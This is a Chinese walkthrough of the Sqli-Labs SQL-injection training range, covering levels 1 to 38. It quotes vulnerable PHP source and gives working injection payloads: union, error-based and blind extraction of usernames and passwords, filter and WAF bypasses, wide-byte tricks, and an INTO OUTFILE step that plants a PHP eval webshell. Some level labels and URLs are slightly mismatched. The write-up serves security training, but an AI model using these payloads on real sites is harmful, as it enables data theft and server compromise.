SQL注入靶场Sqli-Labs 1-65关全部通关笔记【持续更新】
Less -1 基于报错的单引号字符型GET注入
源码:
1 <?php 2 //including the Mysql connect parameters. 3 include("../sql-connections/sql-connect.php"); 4 error_reporting(0); 5 // take the variables 6 if(isset($_GET['id'])) 7 { 8 $id=$_GET['id']; 9 //logging the connection parameters to a file for analysis. 10 $fp=fopen('result.txt','a'); 11 fwrite($fp,'ID:'.$id."\n"); 12 fclose($fp); 13 14 // connectivity 15 16 17 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; 18 $result=mysql_query($sql); 19 $row = mysql_fetch_array($result); 20 21 if($row) 22 { 23 echo "<font size='5' color= '#99FF00'>"; 24 echo 'Your Login name:'. $row['username']; 25 echo "<br>"; 26 echo 'Your Password:' .$row['password']; 27 echo "</font>"; 28 } 29 else 30 { 31 echo '<font color= "#FFFF00">'; 32 print_r(mysql_error()); 33 echo "</font>"; 34 } 35 } 36 else { echo "Please input the ID as parameter with numeric value";} 37 38 ?>
单引号报错,确认存在注入点:
http://192.168.10.137/Less-1/?id=1'
查询字段数:
http://192.168.10.137/Less-1/?id=1' order by 1,2,3,4--+
这里不确定有多少个,所以判断的时候可以先把数字弄多一点,然后使用二分法一点一点判断,例如先1~20,然后1~10,再1~5的方式。
这里尝试1~4报错了:
尝试1~2:
尝试1~3:
3没报错,4报错,说明字段数为3
因为这里是有回显的,所以使用union注入查看哪些字段是有回显的
这里为了不让前面id=1的查询成功影响我们的判断,所以将1改为任意使其查询失败的值,例如-1(当然也可以用 and 1=2之类的,只要能查询失败即可)
http://192.168.10.137/Less-1/?id=-1' union select 1,2,3--+
所以2,3是回显的位置。
接下来查看数据库信息:
http://192.168.10.137/Less-1/?id=-1' union select 1,version(),database()--+
查看所有数据库:
http://192.168.10.137/Less-1/?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
这里用了个group_concat():同名内容只出现一次,且将结果用逗号分隔连接成字符串。
查询security内的所有表名
http://192.168.10.137/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
查看users里的字段:
http://192.168.10.137/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where columns.table_name='users'),3--+
通过上面的操作,我们从information_schema中得到了当前数据库security中存在的表和部分字段,接下来去security数据库查询所有的用户名和密码:
http://192.168.10.137/Less-1/?id=-1' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
Less -2 基于报错的数字型GET注入
这个由于是数字型的,所以闭合的时候不用单引号了,其他与Less-1都一样:
如:
http://192.168.10.137/Less-1/?id=-1 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
Less -3 基于报错的GET单引号变形字符型注入
源码:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}else{
print_r(mysql_error());
}
这里通过源码可以看看到$id用单引号和括号圈起来了,所以只用单引号去闭合是不行的,还需要括号,所以payload变成如下:
例:
http://192.168.10.137/Less-3/?id=-1') union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
其他的都一样。
Less -4 基于报错的GET双引号变形字符型注入
源码
$id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
从源码可以看到,$id被提前进行了定义,被用双引号括起来了,然后进行拼接的时候又用括号括起来了,所以需要闭合双引号和括号。
语句如下:
http://192.168.10.137/Less-4/?id=-1") union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
Less -5 GET-二次注入-单引号-字符型
单引号判断,报错:
使用报错注入:
(1). 通过floor报错
and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
其中payload为你要插入的SQL语句,concat是聚合函数,使用聚合函数进行双注入查询时,会在错误信息中携带payload查询出来的信息。
查版本、数据库、用户:
http://192.168.10.137/Less-5/?id=1' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
表名
http://192.168.10.137/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23
爆字段
http://192.168.10.137/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand()*2))as a from information_schema.tables group by a%23
爆内容:
192.168.10.137/Less-5/?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23
(2). 通过updatexml报错
and updatexml(1,payload,1)
payload处为要执行的SQL,1为分隔符。
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反回类型也做了限制,只有在payload返回的不是xml格式才会生效
http://192.168.10.137/Less-5/?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
其他信息同理。
(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。
http://192.168.10.137/Less-5/?id=1' and extractvalue(null,concat(0x7e,(select database()),0x7e));--+
其他信息同理。
Less -6 GET-二次注入-双引号-字符型
与Less-5相同,只是把单引号换成双引号即可。
Less -7 利用into Outfile来写shell
源代码:
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row){ echo 'You are in.... Use outfile......'; }else{ echo 'You have an error in your SQL syntax'; }
$id被双层括号和单引号包围,URL正确时有提示 用outfile,错误时只知有错误
http://www.sqli-lab.cn/Less-7/?id=1')) union select null,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e,null into outfile '\\var\\WWW\\sqli\\Less-7\\1.php' --+
写之前需要知道物理路径,且得是有写入权限的才行。
Less -8 基于布尔的盲注
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row){ echo 'You are in...........'; }else{ }
http://192.168.10.137/Less-8/?id=1' and (ascii(substr((select database()) ,1,1))) = 115--+
注意:这里的ascii(....) = 115,这个115是十进制的,解码的时候要用10进制来解,或者115换成十六进制的数。就是下面这样:
http://192.168.10.137/Less-8/?id=1' and (ascii(substr((select database()) ,1,1))) = 0x73--+
当数据库名第一个字符的ascii是115则返回正确的页面:
否则返回:
从上面可以看出页面会根据对错发生变化,所以可以用burp进行爆破,通过返回包长度来判断:
第一个点,一般数据库名长度在10个字符内差不多了,所以他的字典可以是数字1~10(当然这里也可以先使用length()做一次对数据库名长度的判断再来爆破)
第二个点,一般数据库名中包含大小写字母和数字,偶尔也会有些特殊字符,这些字符的ascii基本都是在128以内,所以字典可以是1~128
进行爆破:
payload1的数字对应字符在数据库名中的顺序,payload2对应十进制的ascii
最后根据ascii表得出名字为security
接着判断表名长度
http://192.168.10.137/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+
进行爆破:
payload1代表第几个表
payload2代表对应表的表名长度
下面进行猜表名,以第四张表为例:
http://192.168.10.137/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 111 --+
从上面爆破知道第四张表长度为5:
得到表名为user
Less -9 &10基于时间的盲注
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row){ echo 'You are in...........'; }else{ echo 'You are in...........'; }
http://192.168.10.137/Less-9/?id=1%27%20and%20IF(1=1,sleep(5),1)--+
发现存在时间注入。
判断数据库名长度:
http://192.168.10.137/Less-9/?id=1' and if((length(database())=13),sleep(5),1)--+
同样的,对长度进行爆破:
由于是基于时间的,burp在爆破的时候需要把显示返回的时间参数打开:
把这两个都打开或打开其中一个即可:
key
可以看到长度为8:
判断数据库名:
http://192.168.10.137/Less-9/?id=1' and if((ascii(substr((select database()),1,1))=115),sleep(5),null)--+
(标红的括号别忘了加)
判断方式同上。
Less -11 单引号报错注入
输入单引号报错:
判断有多少列:
使用二分法尝试,最终得到列数为2:
admin' order by 2#
判断回显位:
-admin' union select 1,2# 一定注意,这里admin前面要有个-,让他执行失败才不会将我们要查询的结果覆盖掉。
开始查询数据库名:
-admin' union select 1,database()#
爆数据库,利用group_concat链接结果 :(若第二个参数不指定,默认只有逗号连接)
-admin' union select 1,(select group_concat(schema_name,'-') from information_schema.schemata)#
猜表:
-admin' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#
猜列:
-admin' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')#
猜内容:
-admin' union select 1,(select password from security.users limit 0,1)#
一行一行往下猜,依次类推:
-admin' union select 1,(select password from security.users limit 2,1)#
Less -12 双引号报错注入
与11一样,单引号变双引号而已。
Less -13 二次注入
源码:
// connectivity @$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);
uname参数被单引号和括号包围了:
猜多少列:
admin') order by 2#
尝试用union查询,发现没有回显,但因为前面发现会报错,所以可以利用报错注入。
admin') union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as XX from information_schema.tables group by XX # &passwd= ') or 1=1 #
Less -14 同上
Less -15 布尔/时间盲注
直接利用布尔进行猜,然后看也没返回即可:
uname=' or (length(database())) = 8 #&passwd=' or 1=1 #&submit=Submit uname=' or (ascii(substr((select database()) ,1,1))) = 115 #&passwd=' or 1=1 #&submit=Submit
Less -16 同上
Less -17 update报错注入
源码:
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); //echo $row; if($row) { //echo '<font color= "#0000ff">'; $row1 = $row['username']; //echo 'Your Login name:'. $row1; $update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; mysql_query($update); echo "<br>";
这题比较坑,注入点在密码处,用户名得输入存在的用户名才行,不能随便输,比如输admin,然后在密码处进行注入:
1111' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
Less - 18 HTTP头部user-agent注入
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
代码中标红的地方猜是注入点,其他地方的这个uagent不是传值的地方。
输入正确的账号密码后返回信息:admin/admin
利用这个显示的地方进行报错注入:
111' or updatexml(1,concat(0x7e,(database()),0x7e),0) or '
Less - 19 HTTP头部refered注入
源码:
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
其实跟18差不多,这里换了个字段而已。
111' or updatexml(1,concat(0x7e,(database()),0x7e),0) or '
Less - 20 Cookie注入
同18,19只是换了个字段而已。
Less - 21 Cookie注入
payload:
') or 1=1 #
Jykgb3IgMT0xICM=
多了个base64而已。
Less - 22 Cookie注入
闭合双引号,同上。
Less - 23 过滤了注释符的注入
id=admin' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = ' 因为过滤了注释符,所以需要对剩下的语句进行闭合。
Less - 24 二次注入
最简单的二次注入 没任何过滤
login.php:
发现输入进行了mysql_real_escape_string()函数转义 编码如果不是gbk宽字节注入 单引号是不能用了。
function sqllogin(){ $username = mysql_real_escape_string($_POST["login_user"]); $password = mysql_real_escape_string($_POST["login_password"]); $sql = "SELECT * FROM users WHERE username='$username' and password='$password'"; //$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'"; $res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( '); $row = mysql_fetch_row($res); //print_r($row) ; if ($row[1]) { return $row[1]; } else { return 0; } }
login_create.php:
//$username= $_POST['username'] ; $username= mysql_escape_string($_POST['username']) ; $pass= mysql_escape_string($_POST['password']); $re_pass= mysql_escape_string($_POST['re_password']); echo "<font size='3' color='#FFFF00'>"; $sql = "select count(*) from users where username='$username'"; $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( '); $row = mysql_fetch_row($res);
# Validating the user input........ $username= $_SESSION["username"]; $curr_pass= mysql_real_escape_string($_POST['current_password']); $pass= mysql_real_escape_string($_POST['password']); $re_pass= mysql_real_escape_string($_POST['re_password']); if($pass==$re_pass) { $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "; $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( '); $row = mysql_affected_rows();
这里看到这里把username再次取出来查询的没有任何过滤 所以我们在插入username的时候就直接把注入的payload插到数据库里,取出来时候造成注入
admin' or 1=1#
update的时候就把我们原先的TEST2' or 1=1#取出来拿到语句中了 所以密码都是123456了。
Less - 25 过滤AND和OR
源码:
function blacklist($id){ $id= preg_replace('/or/i',"", $id); # 只会过滤一次。 $id= preg_replace('/AND/i',"", $id); # 只会过滤一次。 return $id; } $id= blacklist($id); $hint=$id; $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
双写绕过:
注:在hackbar里面,注释符#要用 url编码,否则会报错。
http://192.168.10.137/Less-25/?id=1' oorrder by 3--+
http://192.168.10.137/Less-25/?id=-1' union select 1,2,3 --+
http://192.168.10.137/Less-25/?id=-1' union select 1,group_concat(schema_name),3 from infoorrmation_schema.schemata limit 0,1--+
Less -25a
和25一样,只是不用单引号而已。
Less - 26
function blacklist($id) { $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes return $id; } $id= blacklist($id); $hint=$id; $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
单引号闭合 过滤了 or,and , /* , – , # , 空格 , /
%A0,%0a,%0b,%0c,%0d,%09替代空格 &&替换and ||替代or或者使用双写 --+和#被过滤,需要用or '1'='1来闭合 注意url编码
Less - 26a
同上,多闭合了一个括号
Less - 27
function blacklist($id){ $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out --. $id= preg_replace('/[#]/',"", $id); //Strip out #. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/select/m',"", $id); //Strip out spaces. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/union/s',"", $id); //Strip out union $id= preg_replace('/select/s',"", $id); //Strip out select $id= preg_replace('/UNION/s',"", $id); //Strip out UNION $id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT $id= preg_replace('/Union/s',"", $id); //Strip out Union $id= preg_replace('/Select/s',"", $id); //Strip out select return $id; }
过滤的内容变多了,只要在关键字上进行大小写变化即可:
http://192.168.10.137/Less-27/?id=1'%0Aor%0A'1'='1
0'%A0UnIoN%A0SeLeCt(1),group_concat(username),group_concat(password)%A0from%A0security%2Eusers%A0where%A01%26%26%a0'1
Less - 27a
function blacklist($id){ $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out --. $id= preg_replace('/[#]/',"", $id); //Strip out #. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/select/m',"", $id); //Strip out spaces. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/union/s',"", $id); //Strip out union $id= preg_replace('/select/s',"", $id); //Strip out select $id= preg_replace('/UNION/s',"", $id); //Strip out UNION $id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT $id= preg_replace('/Union/s',"", $id); //Strip out Union $id= preg_replace('/Select/s',"", $id); //Strip out Select return $id; }
同上,闭合不同而已。
0"%A0or(1)=(1)%26%26%a0"1
http://sqli-qing.cn/sqli/Less-27/?id=0"%A0UnIoN%A0SeLeCt(1),group_concat(table_name),3%A0from%A0information_schema.tables%A0where%A0table_schema='security'%26%26%a0"1 http://sqli-qing.cn/sqli/Less-27/?id=0"%A0UnIoN%A0SeLeCt(1),group_concat(username),group_concat(password)%A0from%A0security%2Eusers%A0where%A01%26%26%a0"1
Less - 28
function blacklist($id) { $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out --. $id= preg_replace('/[#]/',"", $id); //Strip out #. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. //$id= preg_replace('/select/m',"", $id); //Strip out spaces. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT. return $id; }
过滤union select这一个组合,也要过滤空格,所以采用union union select select方法绕过,空格照样用%0a替换
0')%A0UnIoN%A0SeLeCt(1),version(),database()%26%26%a0('1
Less - 28a
同上
Less - 29
加了一个很弱的WAF:
if(isset($_GET['id'])) { $qs = $_SERVER['QUERY_STRING']; $hint=$qs; $id1=java_implimentation($qs); $id=$_GET['id']; //echo $id1; whitelist($id1); //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//WAF implimentation with a whitelist approach..... only allows input to be Numeric. function whitelist($input) { $match = preg_match("/^\d+$/", $input); if($match) { //echo "you are good"; //return $match; } else { header('Location: hacked.php'); //echo "you are bad"; } } // The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution). function java_implimentation($query_string) { $q_s = $query_string; $qs_array= explode("&",$q_s); foreach($qs_array as $key => $value) { $val=substr($value,0,2); if($val=="id") { $id_value=substr($value,3,30); return $id_value; echo "<br>"; break; } } } ?>
注入方法就是参数污染
例子 显示的是id=2的内容 但是waf检测的是前面id=1的内容 好理解吧?
http://sqli-qing.cn/sqli/Less-29/?id=' union select 1,version(),database() --+ http://sqli-qing.cn/sqli/Less-29/?id=' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ http://sqli-qing.cn/sqli/Less-29/?id=' union select 1,group_concat(username),group_concat(password) from security.users where 1 --+
Less - 30
同上
Less - 31
同上
Less - 32
源码:
function check_addslashes($string) { $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash $string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash $string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash return $string; } ... mysql_query("SET NAMES gbk"); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; ... function strToHex($string) { $hex=''; for ($i=0; $i < strlen($string); $i++) { $hex .= dechex(ord($string[$i])); } return $hex; } echo "Hint: The Query String you input is escaped as : ".$id ."<br>"; echo "The Query String you input in Hex becomes : ".strToHex($id). "<br>";
check_addslashes函数把\\ 单引号 双引号都进行过滤转义
GBK编码 说明要使用宽字节注入
http://192.168.10.137/Less-32/?id=-1%df' UNion seleCt 1,2,DATABASE()--
Less - 33、34
同上,变成了POST方法而已。
Less - 35
// take the variables if(isset($_GET['id'])) { $id=check_addslashes($_GET['id']); //echo "The filtered request is :" .$id . "<br>"; ... // connectivity mysql_query("SET NAMES gbk"); $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
实际在查询的时候id并没有用单引号括起来,所以就不受上面的addslaches的影响。直接进行查询就行:
http://192.168.10.137/Less-35/?id=1 order by 3 --
http://192.168.10.137/Less-35/?id=-1 union select 1,2,3 --+
http://192.168.10.137/Less-35/?id=-1 union select 1,@@datadir,(select table_name from information_schema.tables limit 3,1) --
Less - 36
源码:
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
// take the variables
if(isset($_GET['id']))
{
$id=check_quotes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
mysql_real_escape_string()被视为替代addslashes()和mysql_escape_string()的好方法,可以解决宽字节注入问题
mysql_real_escape_string是将所有带有特殊字符进行转义
下列字符受影响:
x00
n
r
\
'
"
x1a
从代码中可以看到,并没有将编码设置为GBK,相当于这个mysql_real_escape_string()起不到做用了。
Less-37
post登录的而已
uname=admin%df%27 or 1=2 union select 1,database()#
Less-38
堆叠注入
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; /* execute multi query */ if (mysqli_multi_query($con1, $sql)) { /* store first result set */ if ($result = mysqli_store_result($con1)) { if($row = mysqli_fetch_row($result)) { echo '<font size = "5" color= "#00FF00">'; printf("Your Username is : %s", $row[1]); echo "<br>"; printf("Your Password is : %s", $row[2]); echo "<br>"; echo "</font>"; } // mysqli_free_result($result); } /* print divider */ if (mysqli_more_results($con1)) { //printf("-----------------\n"); } //while (mysqli_next_result($con1)); } else { echo '<font size="5" color= "#FFFF00">'; print_r(mysqli_error($con1)); echo "</font>"; } /* close connection */ mysqli_close($con1);
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。(有这个才能进行堆叠)
分号我们可以加入注入的新的语句
http://192.168.10.137/Less-38/?id=2%FE' or 1=1 %23 http://192.168.10.137/Less-38/?id=0%FE' union select 1,version(),database() %23 http://192.168.10.137/Less-38/?id=0%FE' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23 http://192.168.10.137/Less-38/?id=0%FE' union select 1,group_concat(username),group_concat(password) from security.users where 1 %23